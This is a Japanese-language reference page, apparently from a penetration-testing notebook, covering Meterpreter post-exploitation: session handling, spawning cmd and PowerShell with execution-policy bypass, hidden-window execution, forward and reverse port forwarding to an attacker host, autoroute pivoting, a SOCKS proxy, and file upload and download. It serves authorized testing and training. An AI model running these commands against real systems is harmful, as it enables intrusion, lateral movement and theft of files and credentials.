Meterpreter 操作
Meterpreter セッションから OS シェルや PowerShell を起動し、ポート転送で内部のサービスへ接続する手順です。
セッションへの出入り
Section titled “セッションへの出入り”sessions -lsessions -i 1# Meterpreter プロンプトで作業backgroundbackground または Ctrl-Z で msfconsole に戻ります。
シェルの呼び出し
Section titled “シェルの呼び出し”shellWindows では cmd.exe、Linux では対象の既定のシェルに入ります。戻るときは exit を実行します。
これはチャネル経由の半対話シェルです。vim や tmux など端末制御が必要な作業や、shell -t / shell -it の制限、socat / nc を使ったフル TTY の取得については Fully Interactive TTY を参照してください。
非対話で 1 コマンドだけ流す場合は、Meterpreter 上の execute や post モジュールの cmd_exec を使います。
execute -f cmd.exe -a "/c whoami" -i -H-i は入出力を繋ぎ、-H は hidden window です。
PowerShell
Section titled “PowerShell”PowerShell 拡張が使える Windows Meterpreter では次が使えます。
load powershellpowershell_shell1 行実行です。
powershell_execute Get-Processpowershell_execute -s <session-id> Get-Dateスクリプトや assembly の取り込みです。
powershell_import /path/to/script.ps1powershell_import /path/to/helper.dll拡張が無い、または使えない場合は通常シェル経由で起動します。
shellpowershell -nop -ep bypassportfwd
Section titled “portfwd”Meterpreter の portfwd は、攻撃機のローカルポートをセッション経由で別ホストのポートへ転送します。実装は lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb です。
通常のポート転送(攻撃機 → 内部)
Section titled “通常のポート転送(攻撃機 → 内部)”攻撃機の 127.0.0.1:1090 で待ち、Meterpreter 先から 169.254.37.128:443 へ繋ぎます。
portfwd add -l 1090 -p 443 -r 169.254.37.128portfwd list手元から使う例です。
curl -k https://127.0.0.1:1090/主な引数です。
| 引数 | 意味 |
|---|---|
-l | 攻撃機側で待ち受けるポート |
-p | 転送先ポート |
-r | 転送先ホスト(Meterpreter から見えるアドレス) |
-L | 待ち受けるローカルホスト(省略時は通常 localhost) |
-R | 逆方向のポート転送 |
-i | 削除時のインデックス |
逆方向のポート転送
Section titled “逆方向のポート転送”-R を付けると転送方向が変わります。対象側で待ち受け、攻撃機側のホストとポートへ接続します。
portfwd add -R -l 4444 -p 4444 -L 10.10.16.10通常の転送は -l/-r/-p で設定します。逆方向の転送は必要な場合に使います。
portfwd listportfwd delete -i 1portfwd flushroute と SOCKS(関連)
Section titled “route と SOCKS(関連)”サブネット単位で Metasploit モジュールの通信をセッション経由に載せる場合は autoroute です。portfwd が「特定ポートのトンネル」、route が「そのサブネット向けモジュール通信の経路」です。
run post/multi/manage/autoroute verbose=true session=3 subnet=172.16.1.0 netmask=255.255.255.0route printSOCKS proxy を立てる例です。
use auxiliary/server/socks_proxyrun -j verbose=true srvhost=127.0.0.1 srvport=1080jobs -l終了時は不要になった経路やジョブが残っていないか確認します。
route printjobs -lportfwd list# 必要ならjobs -Kroute flushportfwd flushよく使う確認コマンド
Section titled “よく使う確認コマンド”sysinfogetuidgetpidpsipconfigpwdlsdownload C:\\Users\\user\\Desktop\\file.txt /tmp/upload /tmp/tool.exe C:\\Windows\\Temp\\tool.exeファイルや資格情報を拾ったら、基本操作と DB の loot / notes 方針に従って保存します。

